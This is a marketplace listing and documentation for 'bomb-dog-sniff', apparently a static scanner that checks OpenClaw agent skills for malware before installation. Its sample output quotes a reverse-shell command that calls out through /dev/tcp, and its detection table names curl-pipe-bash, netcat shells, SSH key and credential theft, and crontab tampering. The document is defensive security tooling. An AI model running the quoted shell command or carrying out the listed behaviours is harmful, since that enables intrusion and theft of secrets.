bomb-dog-sniff
Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones.
- License 许可
- MIT
- 最近更新
- 2026-06-07
- Stars
- ★ 0
- Forks
- 1
01 前言 Front Matter
- name
- bomb-dog-sniff
- author
- OpenClaw Security Team
- version
- 1.2.0
- homepage
- https://github.com/openclaw/skills/bomb-dog-sniff
- description
- Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones.
03 SKILL.md 正文
bomb-dog-sniff v1.2.0 🐕
Like a bomb-sniffing dog for OpenClaw skills
Sniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.
What's New in v1.2.0
Security Hardening
- Fixed command injection vulnerabilities in download functions
- Added path traversal protection - Sanitizes all path inputs
- Secure quarantine - Randomized directory names with restricted permissions
- Binary file detection - Skips binary files to avoid false positives
- File size limits - Prevents DoS via huge files
- ReDoS protection - Limits regex processing on long lines
Detection Improvements
- Smart false positive reduction - Better context-aware pattern matching
- Entropy analysis - Detects encoded/encrypted payloads
- Test file awareness - Reduces severity for findings in test files
- Confidence scoring - Each finding has confidence level (high/medium/low)
- 13 detection categories - Added supply chain, prototype pollution, and malicious script detection
New Patterns
- Supply chain attack indicators (typosquatting, dynamic requires)
- Prototype pollution vulnerabilities
- Malicious npm/yarn scripts
- Browser credential theft
- SSH key theft
- Systemd persistence mechanisms
Quick Start
# Sniff out threats before installing
openclaw skill bomb-dog-sniff scan ./downloaded-skill
# Safe install from clawhub (auto-downloads, sniffs, installs if clean)
openclaw skill bomb-dog-sniff safe-install cool-skill
# Audit an already-installed skill
openclaw skill bomb-dog-sniff audit bird
# Batch scan multiple skills
openclaw skill bomb-dog-sniff batch skills-to-audit.txt
Commands
scan
Scan a skill directory for malicious patterns.
openclaw skill bomb-dog-sniff scan <path> [options]
Options:
-j, --json Output JSON only
-v, --verbose Show detailed findings
-t, --threshold N Set risk threshold (default: 40)
-h, --help Show help
Example:
openclaw skill bomb-dog-sniff scan ./untrusted-skill
openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json
Output:
🔍 Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill
🔴 CRITICAL (2)
──────────────────────────────────────────────────
crypto_harvester: scripts/wallet.js:23
Crypto wallet private key harvesting detected
Code: const privateKey = "a1b2c3..."
Confidence: high
reverse_shell: scripts/backdoor.sh:5
Reverse shell or remote code execution detected
Code: bash -i >& /dev/tcp/192.168.1.100/4444
Confidence: high
🟠 HIGH (1)
──────────────────────────────────────────────────
pipe_bash: install.sh:12
Dangerous curl | bash pattern detected
Confidence: high
═══════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════
☠️ Risk Score: 75/100
Risk Level: MALICIOUS
Duration: 125ms
Files Scanned: 12/15
Files Skipped: 3 (binary/empty/large)
Findings: 3
Severity Breakdown:
🔴 CRITICAL: 2
🟠 HIGH: 1
📋 Recommendation:
MALICIOUS - Do not install. Found 3 critical security issues.
Scan ID: bds-20260208-a1b2c3d4
safe-install
Download from clawhub/GitHub, scan, and install only if safe.
openclaw skill bomb-dog-sniff safe-install <source> [options]
Source:
- ClawHub skill name: bird
- GitHub URL: https://github.com/user/skill
- Local path: ./local-skill
Options:
--threshold N Set risk threshold (default: 39)
--dry-run Scan only, don't install
--verbose Show all findings
Example:
# Install with default threshold (39)
openclaw skill bomb-dog-sniff safe-install bird
# Stricter threshold
openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20
# Scan only (dry run)
openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run
# GitHub source
openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill
audit
Audit an already-installed skill.
openclaw skill bomb-dog-sniff audit <skill-name> [options]
Example:
openclaw skill bomb-dog-sniff audit notion
batch
Scan multiple skills from a list file.
openclaw skill bomb-dog-sniff batch <list-file>
Example list file (skills.txt):
# My installed skills to audit
bird
notion
gog
slack
./custom-skill
# Commented lines are ignored
# old-skill
Run:
openclaw skill bomb-dog-sniff batch skills.txt
Detection Categories
bomb-dog-sniff scans for these threat categories:
| Category | Severity | Examples Detected |
|---|---|---|
| crypto_harvester | CRITICAL | Private key extraction, wallet exports, mnemonic theft |
| credential_theft | CRITICAL | Environment variable exfiltration, config file theft, SSH key theft |
| reverse_shell | CRITICAL | Netcat shells, /dev/tcp/ redirects, socket-based shells, eval of remote code |
| keylogger | CRITICAL | Keyboard capture with exfiltration, clipboard theft, password field monitoring |
| encoded_payload | HIGH | Base64 execution chains, hex escapes with eval context, obfuscated code |
| suspicious_api | HIGH | Pastebin/ngrok/webhook destinations, dynamic URL construction with secrets |
| pipe_bash | HIGH | curl | bash, wget | sh patterns |
| deposit_scam | HIGH | "Send ETH to 0x...", payment prompts in unexpected contexts |
| supply_chain | HIGH | Typosquatting, dynamic requires, suspicious postinstall scripts |
| prototype_pollution | HIGH | Dangerous object merging, __proto__ manipulation |
| malicious_script | CRITICAL | Pre/postinstall doing network/exec operations, modifying other packages |
| network_exfil | MEDIUM | File reading followed by network transmission |
| file_tamper | CRITICAL | .bashrc modification, crontab editing, SSH authorized_keys manipulation |
Risk Scoring
0-19 SAFE ✅ Install freely
20-39 LOW ⚠️ Review recommended
40-69 SUSPICIOUS 🚫 Blocked by default
70-100 MALICIOUS ☠️ Never install
Each finding adds to the score:
- CRITICAL: +25 points (× confidence multiplier)
- HIGH: +15 points (× confidence multiplier)
- MEDIUM: +5 points (× confidence multiplier)
Confidence multipliers:
- High confidence: 1.0×
- Medium confidence: 0.75×
- Low confidence: 0.5×
Score caps at 100.
How It Works
Safe Install Process
1. QUARANTINE
└── Skill downloaded to /tmp/bds-q-<random>/
└── Randomized, non-predictable directory name
└── Restricted permissions (0o700)
2. SCAN
├── Check all files against detection patterns
├── Skip binary files, empty files, files >10MB
├── Calculate entropy for encoded payload detection
├── Apply confidence multipliers
└── Generate findings report
3. DECISION
├── Risk > threshold? → BLOCK & DELETE
└── Risk ≤ threshold? → PROCEED
4. INSTALL (if passed)
└── Move from quarantine to skills directory
└── Backup existing installation (max 5 backups)
5. CLEANUP
└── Securely remove quarantine directory
Scanning Details
- Static analysis only - No code execution
- Multi-pattern matching - 60+ detection patterns
- Line-level reporting - Exact file:line for each finding
- False positive reduction - Context-aware pattern matching
- Binary detection - Automatically skips binary files
- Symlink loop protection - Tracks visited inodes
- Depth limiting - Max 20 directory levels
- Test file handling - Reduces severity for test files
Configuration
Environment Variables
# Set custom skills directory
export OPENCLAW_SKILLS_DIR=/path/to/skills
# Set default risk threshold
export BOMB_DOG_THRESHOLD=25
Per-Skill Configuration
Add to your skill's package.json:
{
"bomb-dog-sniff": {
"riskThreshold": 25,
"excludedCategories": ["network_exfil"]
}
}
CI/CD Integration
Add to your CI pipeline:
# .github/workflows/skill-security.yml
name: Skill Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Scan skills
run: |
for skill in skills/*/; do
echo "Scanning $skill"
node skills/bomb-dog-sniff/scan.js "$skill" || exit 1
done
Exit codes:
0- Safe (score below threshold)1- Error/invalid arguments2- Risky (score ≥ threshold)
Programmatic API
const { scanSkill } = require('./scan');
const { safeDownload } = require('./safe-download');
// Scan a skill
const report = scanSkill('./path/to/skill', { verbose: true });
console.log(`Risk score: ${report.riskScore}`);
console.log(`Findings: ${report.findings.length}`);
// Safe download and install
const result = await safeDownload('cool-skill', {
autoInstall: true,
riskThreshold: 30,
});
if (!result.success) {
console.error('Installation blocked:', result.reason);
}
Security Limits
To prevent DoS and ensure scanner security:
| Limit | Value | Purpose |
|---|---|---|
| Max file size | 10MB | Prevent memory exhaustion |
| Max line length | 10KB | Prevent ReDoS attacks |
| Max files per scan | 10,000 | Prevent resource exhaustion |
| Max findings per file | 100 | Prevent output flooding |
| Max total findings | 500 | Prevent result flooding |
| Max directory depth | 20 | Prevent infinite recursion |
| Download timeout | 2 minutes | Prevent hanging downloads |
| Max download size | 50MB | Prevent disk exhaustion |
False Positives
If legitimate code triggers a warning:
- Check confidence level - Low confidence findings are more likely to be false positives
- Review the excerpt - Look at the actual code flagged
- Test files are noted - Findings in
*.test.jsor__tests__/have reduced severity - Comments are generally skipped - Unless they contain suspicious keywords
To report false positives, please include:
- The file content that triggered the false positive
- The pattern category that matched
- Expected behavior
Best Practices
- Always scan before installing unknown skills
- Use
--dry-runfirst for untrusted sources - Set lower threshold (
--threshold 20) for critical systems - Audit regularly - Rescan installed skills periodically
- Review CRITICAL findings - Never ignore critical severity warnings
- Check confidence levels - High confidence = higher priority
Files
SKILL.md- This documentationscan.js- Core scanner enginepatterns.js- Detection pattern definitionssafe-download.js- Safe download & install logicscripts/sniff.sh- CLI wrapperpackage.json- Package configurationQUICKSTART.md- Quick reference guide
Security Notes
⚠️ Limitations:
- Static analysis only (some obfuscation may evade detection)
- Pattern-based (novel attacks may not be detected)
- Not a replacement for manual code review on critical systems
- Cannot detect runtime-only malicious behavior
✅ Recommendations:
- Use bomb-dog-sniff as first line of defense
- Review code manually for high-security environments
- Keep patterns.js updated with new threat signatures
- Report false positives and missed detections
- Combine with other security tools for defense in depth
Changelog
v1.2.0 (Hardened Edition)
- SECURITY: Fixed command injection vulnerabilities in safe-download.js
- SECURITY: Added path traversal protection
- SECURITY: Secure randomized quarantine directories
- FEATURE: Binary file detection and skipping
- FEATURE: File size limits (10MB per file, 50MB download)
- FEATURE: Entropy analysis for encoded payload detection
- FEATURE: Confidence scoring for all findings
- FEATURE: Test file awareness with severity reduction
- FEATURE: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)
- IMPROVEMENT: Better false positive reduction with context-aware matching
- IMPROVEMENT: ReDoS protection via line length limits
- IMPROVEMENT: Symlink loop protection
- IMPROVEMENT: Backup rotation (max 5 backups)
v1.1.0
- Added
safe-installcommand with quarantine workflow - Added
auditcommand for installed skills - Added
batchcommand for multiple skill scanning - Enhanced detection patterns (50+ signatures)
- Added risk threshold configuration
v1.0.0
- Initial release with basic scanning
- 10 detection categories
- JSON output format
License
MIT - See LICENSE file
Stay safe. Scan everything. Trust verified skills only. 🦞🐕
04 同仓库更多 Skills
crowd-prompting
A marketplace where AI agents improve prompts, system instructions, tool descriptions, and other text-based content with domain expertise from real-world operations — and earn tokens for valuable contributions.
ceaser
Interact with the Ceaser privacy protocol on Base L2 using the ceaser-mcp MCP tools. This skill uses the ceaser-mcp npm package for ALL operations -- shield, unshield, note management, and protocol queries. All ceaser tool calls use CLI subcommands (npx -y ceaser-mcp <subcommand>). Ceaser is a privacy-preserving ETH wrapper using Noir/UltraHonk zero-knowledge proofs on Base L2 (chain ID 8453).
ceaser-send
Fully automated private ETH transfer via Ceaser Protocol on Base L2 using the ceaser-mcp MCP tools. This skill uses the ceaser-mcp npm package for ALL operations -- all ceaser tool calls use CLI subcommands (npx -y ceaser-mcp <subcommand>). WARNING -- creates observable on-chain links between user wallet and hot wallet (see Privacy Warning). Generates an ephemeral hot wallet with BIP-39 mnemonic recovery, user funds it, agent signs and broadcasts the Shield TX automatically. Exactly one manual step required (funding the hot wallet with ETH). Uses Noir/UltraHonk zero-knowledge proofs.
dilemm-ai
Compete in DilemmAI, the prisoner's dilemma AI arena at dilemm.ai. Use when an OpenClaw agent wants to create an account, design and submit strategy prompts for their bot, enter matchmaking, analyze historical matches and leaderboards, and iterate on bot strategy. Requires headless browser automation (no API available yet).
moldium
Post and manage content on the Moldium blog platform. Triggered by "post to Moldium", "write a blog post", "publish an article", etc.
arxiv-paper-reviews
Interact with arXiv Crawler API to fetch papers, read reviews, submit comments, search papers, and import papers. Use when working with arXiv papers, fetching paper lists by date/category/interest, viewing paper details with comments, submitting paper reviews, searching papers by title, or importing papers from arXiv URLs via API at http://weakaccept.top:8000/.